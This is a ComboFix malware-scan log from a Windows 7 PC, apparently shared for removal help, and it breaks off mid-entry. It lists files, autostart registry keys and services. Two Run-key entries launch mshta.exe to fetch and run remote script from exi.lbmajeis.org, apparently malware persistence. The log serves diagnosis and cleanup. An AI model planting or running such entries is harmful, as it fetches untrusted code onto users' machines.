ComboFix 14-06-21.02 - Simon 22/06/2014 16:38:17.1.8 - x64 Microsoft Windows 7 Home Premium 6.1.7601.1.1252.1.1033.18.12170.9201 [GMT 1:00] Running from: c:\users\[removed]\Desktop\ComboFix.exe AV: Norton 360 Premier Edition *Disabled/Updated* {D87FA2C0-F526-77B1-D6EC-0EDF3936CEDB} FW: Norton 360 Premier Edition *Disabled* {E04423E5-BF49-76E9-FDB3-A7EAC7E589A0} SP: Norton 360 Premier Edition *Disabled/Updated* {631E4324-D31C-783F-EC5C-35AD42B18466} SP: Windows Defender *Disabled/Outdated* {D68DDC3A-831F-4fae-9E44-DA132C1ACF46} * Created a new restore point . . ((((((((((((((((((((((((((((((((((((((( Other Deletions ))))))))))))))))))))))))))))))))))))))))))))))))) . . c:\program files (x86)\Java\jre7\bin\jp2ssv.dll c:\programdata\SPL1239.tmp c:\users\Simon\GoToAssistDownloadHelper.exe . . ((((((((((((((((((((((((( Files Created from 2014-05-22 to 2014-06-22 ))))))))))))))))))))))))))))))) . . 2014-06-22 15:42 . 2014-06-22 15:42 -------- d-----w- c:\users\Default\AppData\Local\temp 2014-06-22 05:00 . 2014-06-22 05:00 -------- d-----w- c:\program files (x86)\shopsave toolbar 2014-06-19 07:53 . 2014-06-22 13:35 -------- d-----w- C:\FRST 2014-06-19 07:31 . 2014-06-19 07:31 -------- d-----w- C:\_OTL 2014-06-18 07:55 . 2014-06-18 07:55 -------- d-----w- c:\programdata\GFI Software 2014-06-17 15:52 . 2014-06-17 15:52 -------- d-----w- c:\program files\Microsoft Silverlight 2014-06-17 15:52 . 2014-06-17 15:52 -------- d-----w- c:\program files (x86)\Microsoft Silverlight 2014-06-17 15:33 . 2014-04-30 15:20 10702536 ------w- c:\programdata\Microsoft\Microsoft Antimalware\Definition Updates\{8167A623-2E20-40CE-BB62-6608E6C65CD7}\mpengine.dll 2014-06-17 08:38 . 2012-09-20 04:11 61216 ----a-w- c:\windows\system32\drivers\sbhips.sys 2014-06-17 08:37 . 2012-09-12 19:19 120064 ----a-w- c:\windows\system32\drivers\SbFwIm.sys 2014-06-17 08:36 . 2012-09-20 04:11 258848 ----a-w- c:\windows\system32\drivers\SbFw.sys 2014-06-16 19:52 . 2014-06-16 19:52 -------- d-----w- c:\program files\Microsoft Mouse and Keyboard Center 2014-06-14 17:48 . 2014-06-14 17:48 9889352 ----a-w- c:\windows\SysWow64\RsCRIcon.dll 2014-06-14 17:48 . 2014-06-14 17:48 359128 ----a-w- c:\windows\system32\drivers\RtsPStor.sys 2014-06-14 17:48 . 2014-06-14 17:48 1795952 ----a-w- c:\windows\system32\WdfCoInstaller01011.dll 2014-06-14 17:48 . 2014-06-14 17:48 100312 ----a-w- c:\windows\system32\drivers\TeeDriverx64.sys 2014-06-14 17:48 . 2014-06-14 17:48 170200 ----a-w- c:\windows\system32\drivers\bcbtums.sys 2014-06-14 17:44 . 2014-06-14 17:44 128200 ----a-w- c:\windows\system32\drivers\L1C62x64.sys 2014-06-14 17:21 . 2014-06-14 17:21 -------- d-----w- c:\users\Simon\AppData\Roaming\Apple Computer 2014-06-14 17:21 . 2014-06-14 17:21 -------- d-----w- c:\programdata\ProductData 2014-06-14 17:21 . 2014-03-10 17:17 128288 ----a-w- c:\windows\system32\IObitSmartDefragExtension.dll 2014-06-14 17:21 . 2014-06-14 17:21 -------- d-----w- c:\programdata\{3C5CBD7B-3D1D-411E-96C2-513FFCA84D2D} 2014-06-14 16:36 . 2014-06-14 16:36 -------- d-----w- c:\windows\ERUNT 2014-06-14 16:34 . 2014-06-14 16:47 32512 ----a-w- c:\windows\system32\drivers\hitmanpro37.sys 2014-06-14 16:33 . 2014-06-14 16:45 -------- d-----w- c:\programdata\HitmanPro 2014-06-14 09:19 . 2010-08-30 07:34 536576 ----a-w- c:\windows\SysWow64\sqlite3.dll 2014-06-14 09:18 . 2014-06-18 09:28 -------- d-----w- C:\AdwCleaner 2014-06-14 09:14 . 2014-06-22 15:33 122584 ----a-w- c:\windows\system32\drivers\MBAMSwissArmy.sys 2014-06-14 09:13 . 2014-05-12 06:26 63704 ----a-w- c:\windows\system32\drivers\mwac.sys 2014-06-14 09:13 . 2014-05-12 06:26 91352 ----a-w- c:\windows\system32\drivers\mbamchameleon.sys 2014-06-14 09:13 . 2014-05-12 06:25 25816 ----a-w- c:\windows\system32\drivers\mbam.sys 2014-06-14 09:13 . 2014-06-14 09:14 -------- d-----w- c:\program files (x86)\Malwarebytes Anti-Malware 2014-06-14 09:13 . 2014-06-14 09:13 -------- d-----w- c:\programdata\Malwarebytes 2014-06-14 08:43 . 2014-06-18 07:50 -------- d-----w- c:\program files (x86)\Microsoft Security Client 2014-06-14 08:43 . 2014-06-18 07:50 -------- d-----w- c:\program files\Microsoft Security Client 2014-06-14 08:35 . 2014-06-14 08:35 -------- d-----w- c:\users\Simon\AppData\Roaming\KSafe 2014-06-14 08:35 . 2014-06-14 08:35 -------- d-----w- c:\programdata\KSafe 2014-06-14 08:35 . 2014-06-14 08:35 -------- d-----w- c:\program files (x86)\MaxUtilities 2014-06-14 08:30 . 2014-06-14 08:30 -------- d-----w- c:\users\Simon\AppData\Roaming\rightbackup 2014-06-11 14:47 . 2014-04-25 02:34 801280 ----a-w- c:\windows\system32\usp10.dll 2014-06-11 14:47 . 2014-04-25 02:06 626688 ----a-w- c:\windows\SysWow64\usp10.dll 2014-06-11 14:47 . 2014-04-05 02:47 1903552 ----a-w- c:\windows\system32\drivers\tcpip.sys 2014-06-11 14:47 . 2014-04-05 02:47 288192 ----a-w- c:\windows\system32\drivers\FWPKCLNT.SYS 2014-06-11 14:45 . 2014-06-08 09:13 506368 ----a-w- c:\windows\system32\aepdu.dll 2014-06-11 14:45 . 2014-06-08 09:08 424448 ----a-w- c:\windows\system32\aeinv.dll 2014-06-03 16:23 . 2014-06-03 16:23 -------- d-----w- c:\users\Simon\AppData\Roaming\Free File Shredder 2014-06-03 16:22 . 2014-06-03 16:22 -------- d-----w- c:\program files (x86)\Free File Shredder 2014-06-03 07:45 . 2014-06-19 05:08 -------- d-----w- c:\users\Simon\AppData\Local\ElevatedDiagnostics 2014-06-03 03:50 . 2014-06-03 23:14 -------- d-----w- c:\program files (x86)\Microsoft 2014-06-03 03:50 . 2014-06-03 03:50 -------- d-----w- c:\program files (x86)\HP Photo Creations 2014-06-03 03:50 . 2014-06-03 03:50 -------- d-----w- c:\programdata\HP Photo Creations 2014-06-03 03:50 . 2014-06-03 03:50 -------- d-----w- c:\programdata\Visan 2014-06-03 03:49 . 2014-06-10 04:49 -------- d-----w- c:\users\Simon\AppData\Roaming\HpUpdate 2014-06-03 03:49 . 2012-10-17 03:31 741480 ------w- c:\windows\system32\HPDiscoPMB111.dll 2014-06-03 03:47 . 2014-06-03 03:49 -------- d-----w- c:\program files (x86)\HP 2014-06-03 03:46 . 2014-06-03 03:46 -------- d-----w- c:\program files\HP 2014-06-03 03:41 . 2014-06-03 03:47 -------- d-----w- c:\programdata\HP 2014-06-03 03:38 . 2014-06-03 04:48 -------- d-----w- c:\users\Simon\AppData\Local\HP 2014-06-02 13:26 . 2014-05-29 23:07 1291232 ----a-w- c:\windows\SysWow64\nvspbridge.dll 2014-06-02 13:26 . 2014-05-29 23:07 1715176 ----a-w- c:\windows\system32\nvspbridge64.dll 2014-06-02 05:49 . 2014-06-22 05:22 163504 ----a-w- c:\programdata\Microsoft\Windows\Sqm\Manifest\Sqm10145.bin 2014-05-28 05:50 . 2014-05-28 05:50 -------- d-----w- c:\programdata\Oracle 2014-05-28 05:50 . 2014-05-28 05:50 -------- d-----w- c:\program files (x86)\Common Files\Java 2014-05-28 05:49 . 2014-05-28 05:49 96168 ----a-w- c:\windows\SysWow64\WindowsAccessBridge-32.dll 2014-05-28 05:49 . 2014-05-28 05:49 -------- d-----w- c:\program files (x86)\Java 2014-05-25 12:28 . 2014-05-25 12:28 15976 ----a-w- c:\windows\system32\drivers\RsProxy.sys 2014-05-24 19:14 . 2014-05-30 18:35 -------- d-----w- c:\users\Simon\AppData\Roaming\ArcSoft 2014-05-24 19:14 . 2014-05-24 19:14 -------- d-----w- c:\users\Simon\AppData\Local\ArcSoft 2014-05-24 19:09 . 2014-05-24 19:09 -------- d-----w- c:\users\Simon\vivu 2014-05-24 19:07 . 2014-05-24 19:07 -------- d-----w- c:\program files (x86)\HP Button Manager 2014-05-24 19:06 . 2014-05-24 19:06 -------- d-----w- c:\users\Simon\AppData\Roaming\InstallShield 2014-05-24 19:05 . 2014-05-24 19:15 -------- d-----w- c:\programdata\ArcSoft 2014-05-24 19:04 . 2006-01-24 09:20 1645320 ----a-w- c:\windows\SysWow64\gdiplus.dll 2014-05-24 19:04 . 2005-07-16 01:35 245408 ----a-w- c:\windows\SysWow64\unicows.dll 2014-05-24 19:04 . 2005-05-28 05:58 393216 ----a-w- c:\windows\SysWow64\MSLUP60.dll 2014-05-24 19:04 . 2005-05-27 13:58 249856 ----a-w- c:\windows\SysWow64\MSLURT.dll 2014-05-24 19:04 . 2003-03-18 21:14 499712 ----a-w- c:\windows\SysWow64\msvcp71.dll 2014-05-24 19:04 . 2003-02-21 03:42 348160 ----a-w- c:\windows\SysWow64\msvcr71.dll 2014-05-24 19:04 . 1995-07-31 12:44 212480 ----a-w- c:\windows\SysWow64\PCDLIB32.DLL 2014-05-24 19:03 . 2008-04-24 13:06 19968 ----a-w- c:\windows\system32\drivers\ArcSoftKsUFilter.sys 2014-05-24 19:03 . 2008-03-22 04:51 53560 ----a-w- c:\windows\system\ArcSoftKsUFilter.dll 2014-05-24 19:03 . 2014-05-24 19:03 -------- d-----w- c:\program files (x86)\ArcSoft 2014-05-24 19:03 . 2014-05-24 19:14 -------- d-----w- c:\program files (x86)\Common Files\ArcSoft 2014-05-24 19:01 . 2001-09-05 03:18 77824 ----a-w- c:\program files (x86)\Common Files\InstallShield\Engine\6\Intel 32\ctor.dll 2014-05-24 19:01 . 2001-09-05 03:18 225280 ----a-w- c:\program files (x86)\Common Files\InstallShield\IScript\iscript.dll 2014-05-24 19:01 . 2001-09-05 03:14 176128 ----a-w- c:\program files (x86)\Common Files\InstallShield\Engine\6\Intel 32\iuser.dll 2014-05-24 19:01 . 2001-09-05 03:13 32768 ----a-w- c:\program files (x86)\Common Files\InstallShield\Engine\6\Intel 32\objectps.dll . . . (((((((((((((((((((((((((((((((((((((((( Find3M Report )))))))))))))))))))))))))))))))))))))))))))))))))))) . 2014-06-11 17:49 . 2014-05-08 16:57 95414520 ----a-w- c:\windows\system32\MRT.exe 2014-05-29 23:07 . 2014-05-08 09:53 1122312 ----a-w- c:\windows\SysWow64\nvspcap.dll 2014-05-29 23:07 . 2014-05-08 09:53 1279480 ----a-w- c:\windows\system32\nvspcap64.dll 2014-05-15 08:32 . 2014-05-15 08:32 1275392 ----a-w- c:\users\Simon\AppData\Roaming\Microsoft\MSXML2\msxml4.dll 2014-05-15 08:32 . 2014-05-15 08:32 82432 ----a-w- c:\users\Simon\AppData\Roaming\Microsoft\MSXML2\msxml4r.dll 2014-05-15 08:32 . 2014-05-15 08:32 44544 ----a-w- c:\users\Simon\AppData\Roaming\Microsoft\MSXML2\msxml4a.dll 2014-05-13 18:22 . 2014-05-08 09:21 70832 ----a-w- c:\windows\SysWow64\FlashPlayerCPLApp.cpl 2014-05-13 18:22 . 2014-05-08 09:21 692400 ----a-w- c:\windows\SysWow64\FlashPlayerApp.exe 2014-05-13 18:22 . 2014-05-13 18:22 17352880 ----a-w- c:\windows\SysWow64\FlashPlayerInstaller.exe 2014-05-08 16:10 . 2014-05-08 16:10 194048 ----a-w- c:\windows\SysWow64\elshyph.dll 2014-05-08 16:10 . 2014-05-08 16:10 71680 ----a-w- c:\windows\SysWow64\RegisterIEPKEYs.exe 2014-05-08 16:10 . 2014-05-08 16:10 645120 ----a-w- c:\windows\SysWow64\jsIntl.dll 2014-05-08 16:10 . 2014-05-08 16:10 62464 ----a-w- c:\windows\SysWow64\tdc.ocx 2014-05-08 16:10 . 2014-05-08 16:10 61952 ----a-w- c:\windows\SysWow64\MshtmlDac.dll 2014-05-08 16:10 . 2014-05-08 16:10 337408 ----a-w- c:\windows\SysWow64\html.iec 2014-05-08 16:10 . 2014-05-08 16:10 24576 ----a-w- c:\windows\SysWow64\licmgr10.dll 2014-05-08 16:10 . 2014-05-08 16:10 235008 ----a-w- c:\windows\system32\elshyph.dll 2014-05-08 16:10 . 2014-05-08 16:10 182272 ----a-w- c:\windows\SysWow64\msls31.dll 2014-05-08 16:10 . 2014-05-08 16:10 151552 ----a-w- c:\windows\SysWow64\iexpress.exe 2014-05-08 16:10 . 2014-05-08 16:10 139264 ----a-w- c:\windows\SysWow64\wextract.exe 2014-05-08 16:10 . 2014-05-08 16:10 13312 ----a-w- c:\windows\SysWow64\mshta.exe 2014-05-08 16:10 . 2014-05-08 16:10 86016 ----a-w- c:\windows\SysWow64\iesysprep.dll 2014-05-08 16:10 . 2014-05-08 16:10 74240 ----a-w- c:\windows\SysWow64\SetIEInstalledDate.exe 2014-05-08 16:10 . 2014-05-08 16:10 48640 ----a-w- c:\windows\SysWow64\mshtmler.dll 2014-05-08 16:10 . 2014-05-08 16:10 36352 ----a-w- c:\windows\SysWow64\imgutil.dll 2014-05-08 16:10 . 2014-05-08 16:10 111616 ----a-w- c:\windows\SysWow64\IEAdvpack.dll 2014-05-08 16:10 . 2014-05-08 16:10 942592 ----a-w- c:\windows\system32\jsIntl.dll 2014-05-08 16:10 . 2014-05-08 16:10 90112 ----a-w- c:\windows\system32\SetIEInstalledDate.exe 2014-05-08 16:10 . 2014-05-08 16:10 86016 ----a-w- c:\windows\system32\RegisterIEPKEYs.exe 2014-05-08 16:10 . 2014-05-08 16:10 77312 ----a-w- c:\windows\system32\tdc.ocx 2014-05-08 16:10 . 2014-05-08 16:10 52224 ----a-w- c:\windows\system32\msfeedsbs.dll 2014-05-08 16:10 . 2014-05-08 16:10 48640 ----a-w- c:\windows\system32\mshtmler.dll 2014-05-08 16:10 . 2014-05-08 16:10 247808 ----a-w- c:\windows\system32\msls31.dll 2014-05-08 16:10 . 2014-05-08 16:10 13312 ----a-w- c:\windows\system32\msfeedssync.exe 2014-05-08 16:10 . 2014-05-08 16:10 131072 ----a-w- c:\windows\system32\IEAdvpack.dll 2014-05-08 16:10 . 2014-05-08 16:10 105984 ----a-w- c:\windows\system32\iesysprep.dll 2014-05-08 16:10 . 2014-05-08 16:10 81408 ----a-w- c:\windows\system32\icardie.dll 2014-05-08 16:10 . 2014-05-08 16:10 616104 ----a-w- c:\windows\system32\ieapfltr.dat 2014-05-08 16:10 . 2014-05-08 16:10 413696 ----a-w- c:\windows\system32\html.iec 2014-05-08 16:10 . 2014-05-08 16:10 30208 ----a-w- c:\windows\system32\licmgr10.dll 2014-05-08 16:10 . 2014-05-08 16:10 263376 ----a-w- c:\windows\system32\iedkcs32.dll 2014-05-08 16:10 . 2014-05-08 16:10 243200 ----a-w- c:\windows\system32\webcheck.dll 2014-05-08 16:10 . 2014-05-08 16:10 235520 ----a-w- c:\windows\system32\url.dll 2014-05-08 16:10 . 2014-05-08 16:10 167424 ----a-w- c:\windows\system32\iexpress.exe 2014-05-08 16:10 . 2014-05-08 16:10 143872 ----a-w- c:\windows\system32\wextract.exe 2014-05-08 16:10 . 2014-05-08 16:10 101376 ----a-w- c:\windows\system32\inseng.dll 2014-05-08 16:10 . 2014-05-08 16:10 83968 ----a-w- c:\windows\system32\MshtmlDac.dll 2014-05-08 16:10 . 2014-05-08 16:10 774144 ----a-w- c:\windows\system32\jscript.dll 2014-05-08 16:10 . 2014-05-08 16:10 62464 ----a-w- c:\windows\system32\pngfilt.dll 2014-05-08 16:10 . 2014-05-08 16:10 48128 ----a-w- c:\windows\system32\imgutil.dll 2014-05-08 16:10 . 2014-05-08 16:10 147968 ----a-w- c:\windows\system32\occache.dll 2014-05-08 16:10 . 2014-05-08 16:10 13824 ----a-w- c:\windows\system32\mshta.exe 2014-05-08 16:10 . 2014-05-08 16:10 135680 ----a-w- c:\windows\system32\iepeers.dll 2014-05-08 16:09 . 2014-05-08 16:09 878080 ----a-w- c:\windows\system32\advapi32.dll 2014-05-08 16:09 . 2014-05-08 16:09 859648 ----a-w- c:\windows\system32\tdh.dll 2014-05-08 16:09 . 2014-05-08 16:09 640512 ----a-w- c:\windows\SysWow64\advapi32.dll 2014-05-08 16:09 . 2014-05-08 16:09 619520 ----a-w- c:\windows\SysWow64\tdh.dll 2014-05-08 16:09 . 2014-05-08 16:09 1732032 ----a-w- c:\windows\system32\ntdll.dll 2014-05-08 16:09 . 2014-05-08 16:09 1292192 ----a-w- c:\windows\SysWow64\ntdll.dll 2014-05-08 16:08 . 2014-05-08 16:08 327168 ----a-w- c:\windows\system32\mswsock.dll 2014-05-08 16:08 . 2014-05-08 16:08 231424 ----a-w- c:\windows\SysWow64\mswsock.dll 2014-05-08 16:08 . 2014-05-08 16:08 68608 ----a-w- c:\windows\system32\taskhost.exe 2014-05-08 16:04 . 2014-05-08 16:04 9728 ---ha-w- c:\windows\SysWow64\api-ms-win-downlevel-shlwapi-l1-1-0.dll 2014-05-08 16:04 . 2014-05-08 16:04 9728 ---ha-w- c:\windows\system32\api-ms-win-downlevel-shlwapi-l1-1-0.dll 2014-05-08 16:04 . 2014-05-08 16:04 648192 ----a-w- c:\windows\system32\d3d10level9.dll 2014-05-08 16:04 . 2014-05-08 16:04 604160 ----a-w- c:\windows\SysWow64\d3d10level9.dll 2014-05-08 16:04 . 2014-05-08 16:04 5632 ---ha-w- c:\windows\SysWow64\api-ms-win-downlevel-shlwapi-l2-1-0.dll 2014-05-08 16:04 . 2014-05-08 16:04 5632 ---ha-w- c:\windows\SysWow64\api-ms-win-downlevel-ole32-l1-1-0.dll 2014-05-08 16:04 . 2014-05-08 16:04 5632 ---ha-w- c:\windows\system32\api-ms-win-downlevel-shlwapi-l2-1-0.dll 2014-05-08 16:04 . 2014-05-08 16:04 5632 ---ha-w- c:\windows\system32\api-ms-win-downlevel-ole32-l1-1-0.dll 2014-05-08 16:04 . 2014-05-08 16:04 522752 ----a-w- c:\windows\system32\XpsGdiConverter.dll 2014-05-08 16:04 . 2014-05-08 16:04 4096 ---ha-w- c:\windows\SysWow64\api-ms-win-downlevel-user32-l1-1-0.dll 2014-05-08 16:04 . 2014-05-08 16:04 4096 ---ha-w- c:\windows\system32\api-ms-win-downlevel-user32-l1-1-0.dll 2014-05-08 16:04 . 2014-05-08 16:04 364544 ----a-w- c:\windows\SysWow64\XpsGdiConverter.dll 2014-05-08 16:04 . 2014-05-08 16:04 363008 ----a-w- c:\windows\system32\dxgi.dll 2014-05-08 16:04 . 2014-05-08 16:04 3584 ---ha-w- c:\windows\SysWow64\api-ms-win-downlevel-advapi32-l2-1-0.dll 2014-05-08 16:04 . 2014-05-08 16:04 3584 ---ha-w- c:\windows\system32\api-ms-win-downlevel-advapi32-l2-1-0.dll 2014-05-08 16:04 . 2014-05-08 16:04 333312 ----a-w- c:\windows\system32\d3d10_1core.dll 2014-05-08 16:04 . 2014-05-08 16:04 3072 ---ha-w- c:\windows\SysWow64\api-ms-win-downlevel-version-l1-1-0.dll 2014-05-08 16:04 . 2014-05-08 16:04 3072 ---ha-w- c:\windows\SysWow64\api-ms-win-downlevel-shell32-l1-1-0.dll 2014-05-08 16:04 . 2014-05-08 16:04 3072 ---ha-w- c:\windows\system32\api-ms-win-downlevel-version-l1-1-0.dll 2014-05-08 16:04 . 2014-05-08 16:04 3072 ---ha-w- c:\windows\system32\api-ms-win-downlevel-shell32-l1-1-0.dll 2014-05-08 16:04 . 2014-05-08 16:04 296960 ----a-w- c:\windows\system32\d3d10core.dll 2014-05-08 16:04 . 2014-05-08 16:04 293376 ----a-w- c:\windows\SysWow64\dxgi.dll 2014-05-08 16:04 . 2014-05-08 16:04 2776576 ----a-w- c:\windows\system32\msmpeg2vdec.dll 2014-05-08 16:04 . 2014-05-08 16:04 2560 ---ha-w- c:\windows\SysWow64\api-ms-win-downlevel-normaliz-l1-1-0.dll 2014-05-08 16:04 . 2014-05-08 16:04 2560 ---ha-w- c:\windows\system32\api-ms-win-downlevel-normaliz-l1-1-0.dll 2014-05-08 16:04 . 2014-05-08 16:04 249856 ----a-w- c:\windows\SysWow64\d3d10_1core.dll 2014-05-08 16:04 . 2014-05-08 16:04 245248 ----a-w- c:\windows\system32\WindowsCodecsExt.dll 2014-05-08 16:04 . 2014-05-08 16:04 2284544 ----a-w- c:\windows\SysWow64\msmpeg2vdec.dll 2014-05-08 16:04 . 2014-05-08 16:04 221184 ----a-w- c:\windows\system32\UIAnimation.dll 2014-05-08 16:04 . 2014-05-08 16:04 220160 ----a-w- c:\windows\SysWow64\d3d10core.dll 2014-05-08 16:04 . 2014-05-08 16:04 207872 ----a-w- c:\windows\SysWow64\WindowsCodecsExt.dll 2014-05-08 16:04 . 2014-05-08 16:04 194560 ----a-w- c:\windows\system32\d3d10_1.dll 2014-05-08 16:04 . 2014-05-08 16:04 187392 ----a-w- c:\windows\SysWow64\UIAnimation.dll 2014-05-08 16:04 . 2014-05-08 16:04 1682432 ----a-w- c:\windows\system32\XpsPrint.dll 2014-05-08 16:04 . 2014-05-08 16:04 161792 ----a-w- c:\windows\SysWow64\d3d10_1.dll 2014-05-08 16:04 . 2014-05-08 16:04 1238528 ----a-w- c:\windows\system32\d3d10.dll 2014-05-08 16:04 . 2014-05-08 16:04 1175552 ----a-w- c:\windows\system32\FntCache.dll 2014-05-08 16:04 . 2014-05-08 16:04 1158144 ----a-w- c:\windows\SysWow64\XpsPrint.dll . . ((((((((((((((((((((((((((((((((((((( Reg Loading Points )))))))))))))))))))))))))))))))))))))))))))))))))) . . *Note* empty entries & legit default entries are not shown REGEDIT4 . [HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] "SystemBooteHQ088Vh8yxWhinGduq9jR1yJP8FDAh2"="mshta.exe http://exi.lbmajeis.org/reg2.php?cccid=eHQ088Vh8yxWhinGduq9jR1yJP8FDAh2&log=1" [?] "RegWriteeHQ088Vh8yxWhinGduq9jR1yJP8FDAh2"="mshta.exe http://exi.lbmajeis.org/set_inf2.php?cccid=eHQ088Vh8yxWhinGduq9jR1yJP8FDAh2" [?] "CCleaner Monitoring"="c:\program files\CCleaner\CCleaner64.exe" [2014-05-20 6160152] . [HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run] "USB3MON"="c:\program files (x86)\Intel\Intel(R) USB 3.0 eXtensible Host Controller Driver\Application\iusb3mon.exe" [2012-03-09 291608] "AlienwareOn-ScreenDisplay"="c:\program files (x86)\Alienware On-Screen Display\AlienwareOn-ScreenDisplay.exe" [2011-12-01 1636208] "SSDMonitor"="c:\program files (x86)\Symantec\Norton Utilities 16\sMonitor\SSDMonitor.exe" [2014-01-17 106112] "ArcSoft Connection Service"="c:\program files (x86)\Common Files\ArcSoft\Connection Service\Bin\ACDaemon.exe" [2010-10-27 207424] "SunJavaUpdateSched"="c:\program files (x86)\Common Files\Java\Java Update\jusched.exe" [2013-07-02 254336] "HP Software Update"="c:\program files (x86)\Hp\HP Software Update\HPWuSchd2.exe" [2011-10-28 49208] . c:\users\Simon\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ Monitor Ink Alerts - HP Photosmart 5520 series.lnk - c:\windows\system32\RunDll32.exe "c:\program files\HP\HP Photosmart 5520 series\bin\HPStatusBL.dll",RunDLLEntry SERIALNUMBER=CN42A7C09M0602;CONNECTION=USB;MONITOR=1; [2009-7-14 45568] . c:\programdata\Microsoft\Windows\Start Menu\Programs\Startup\ Bluetooth.lnk - c:\program files\WIDCOMM\Bluetooth Software\BTTray.exe [2012-2-22 1380128] HP Button Manager.lnk - c:\program files (x86)\HP Button Manager\BM.exe [2014-5-24 1728088] . [HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\policies\system] "ConsentPromptBehaviorAdmin"= 5 (0x5) "ConsentPromptBehaviorUser"= 3 (0x3) "EnableUIADesktopToggle"= 0 (0x0) . [HKEY_LOCAL_MACHINE\software\wow6432node\microsoft\windows nt\currentversion\windows] "LoadAppInit_DLLs"=1 (0x1) "AppInit_DLLs"=c:\windows\SysWOW64\nvinit.dll . [HKEY_LOCAL_MACHINE\system\currentcontrolset\control\lsa] Notification Packages REG_MULTI_SZ scecli c:\program files\WIDCOMM\Bluetooth Software\BtwProximityCP.dll . [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\hitmanpro37] @="" . [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\hitmanpro37.sys] @="" . [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\HitmanPro37Crusader] @="" . [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\HitmanPro37CrusaderBoot] @="" . [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\MsMpSvc] @="Service" . R2 clr_optimization_v4.0.30319_64;Microsoft .NET Framework NGEN v4.0.30319_X64;c:\windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe;c:\windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe [x] R2 dleaCATSCustConnectService;dleaCATSCustConnectService;c:\windows\system32\spool\DRIVERS\x64\3\\dleaserv.exe;c:\windows\SYSNATIVE\spool\DRIVERS\x64\3\\dleaserv.exe [x] R3 DiskDoctorService;Norton Disk Doctor Service;c:\program files (x86)\Symantec\Norton Utilities 16\Tools\Disk Doctor\DiskDoctorSrv.exe;c:\program files (x86)\Symantec\Norton Utilities 16\Tools\Disk Doctor\DiskDoctorSrv.exe [x] R3 hitmanpro37;HitmanPro 3.7 Support Driver;c:\windows\system32\drivers\hitmanpro37.sys;c:\windows\SYSNATIVE\drivers\hitmanpro37.sys [x] R3 IEEtwCollectorService;Internet Explorer ETW Collector Service;c:\windows\system32\IEEtwCollector.exe;c:\windows\SYSNATIVE\IEEtwCollector.exe [x] R3 nusb3hub;Renesas Electronics USB 3.0 Hub Driver;c:\windows\system32\drivers\nusb3hub.sys;c:\windows\SYSNATIVE\drivers\nusb3hub.sys [x] R3 nusb3xhc;Renesas Electronics USB 3.0 Host Controller Driver;c:\windows\system32\drivers\nusb3xhc.sys;c:\windows\SYSNATIVE\drivers\nusb3xhc.sys [x] R3 Point64;Microsoft Mouse and Keyboard Center Filter Driver;c:\windows\system32\DRIVERS\point64.sys;c:\windows\SYSNATIVE\DRIVERS\point64.sys [x] R3 SBFWIMCL;GFI Software Firewall NDIS IM Filter Service;c:\windows\system32\DRIVERS\sbfwim.sys;c:\windows\SYSNATIVE\DRIVERS\sbfwim.sys [x] R3 sbhips;sbhips;c:\windows\system32\drivers\sbhips.sys;c:\windows\SYSNATIVE\drivers\sbhips.sys [x] R3 sbwtis;sbwtis;c:\windows\system32\DRIVERS\sbwtis.sys;c:\windows\SYSNATIVE\DRIVERS\sbwtis.sys [x] R3 SpeedDiskService;Norton SpeedDisk Service;c:\program files (x86)\Symantec\Norton Utilities 16\Tools\SpeedDisk\SpeedDiskSrv.exe;c:\program files (x86)\Symantec\Norton Utilities 16\Tools\SpeedDisk\SpeedDiskSrv.exe [x] R3 TsUsbFlt;TsUsbFlt;c:\windows\system32\drivers\tsusbflt.sys;c:\windows\SYSNATIVE\drivers\tsusbflt.sys [x] R3 TsUsbGD;Remote Desktop Generic USB Device;c:\windows\system32\drivers\TsUsbGD.sys;c:\windows\SYSNATIVE\drivers\TsUsbGD.sys [x] R3 WatAdminSvc;Windows Activation Technologies Service;c:\windows\system32\Wat\WatAdminSvc.exe;c:\windows\SYSNATIVE\Wat\WatAdminSvc.exe [x] S0 EMSC;COMPAL Embedded System Control;c:\windows\system32\DRIVERS\EMSC.SYS;c:\windows\SYSNATIVE\DRIVERS\EMSC.SYS [x] S0 iusb3hcs;Intel(R) USB 3.0 Host Controller Switch Driver;c:\windows\system32\DRIVERS\iusb3hcs.sys;c:\windows\SYSNATIVE\DRIVERS\iusb3hcs.sys [x] S0 nvpciflt;nvpciflt;c:\windows\system32\DRIVERS\nvpciflt.sys;c:\windows\SYSNATIVE\DRIVERS\nvpciflt.sys [x] S0 stdcfltn;Disk Class Filter Driver for Accelerometer;c:\windows\system32\DRIVERS\stdcfltn.sys;c:\windows\SYSNATIVE\DRIVERS\stdcfltn.sys [x] S0 SymDS;Symantec Data Store;c:\windows\system32\drivers\N360x64\1503000.00C\SYMDS64.SYS;c:\windows\SYSNATIVE\drivers\N360x64\1503000.00C\SYMDS64.SYS [x] S0 SymEFA;Symantec Extended File Attributes;c:\windows\system32\drivers\N360x64\1503000.00C\SYMEFA64.SYS;c:\windows\SYSNATIVE\drivers\N360x64\1503000.00C\SYMEFA64.SYS [x] S1 BfLwf;Bigfoot Networks Bandwidth Control;c:\windows\system32\DRIVERS\bflwfx64.sys;c:\windows\SYSNATIVE\DRIVERS\bflwfx64.sys [x] S1 BHDrvx64;BHDrvx64;c:\program files (x86)\Norton 360\NortonData\21.2.0.38\Definitions\BASHDefs\20140606.001\BHDrvx64.sys;c:\program files (x86)\Norton 360\NortonData\21.2.0.38\Definitions\BASHDefs\20140606.001\BHDrvx64.sys [x] S1 ccSet_N360;N360 Settings Manager;c:\windows\system32\drivers\N360x64\1503000.00C\ccSetx64.sys;c:\windows\SYSNATIVE\drivers\N360x64\1503000.00C\ccSetx64.sys [x] S1 IDSVia64;IDSVia64;c:\program files (x86)\Norton 360\NortonData\21.2.0.38\Definitions\IPSDefs\20140620.001\IDSvia64.sys;c:\program files (x86)\Norton 